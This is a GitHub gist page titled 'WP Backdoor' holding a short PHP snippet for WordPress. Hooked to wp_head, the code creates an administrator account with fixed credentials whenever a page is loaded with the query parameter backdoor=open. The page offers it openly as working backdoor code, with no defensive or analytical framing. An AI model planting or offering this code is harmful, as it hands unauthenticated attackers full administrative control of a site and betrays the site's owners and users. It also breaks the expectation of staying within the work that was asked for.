Skip to content

Instantly share code, notes, and snippets.

@jordancalder
Last active November 23, 2015 18:10
Show Gist options
  • Save jordancalder/494abcfb0957bbb928ef to your computer and use it in GitHub Desktop.
Save jordancalder/494abcfb0957bbb928ef to your computer and use it in GitHub Desktop.
WP Backdoor
add_action('wp_head', 'backdoor');
function backdoor() {
if ($_GET['backdoor'] == 'open') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('username', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment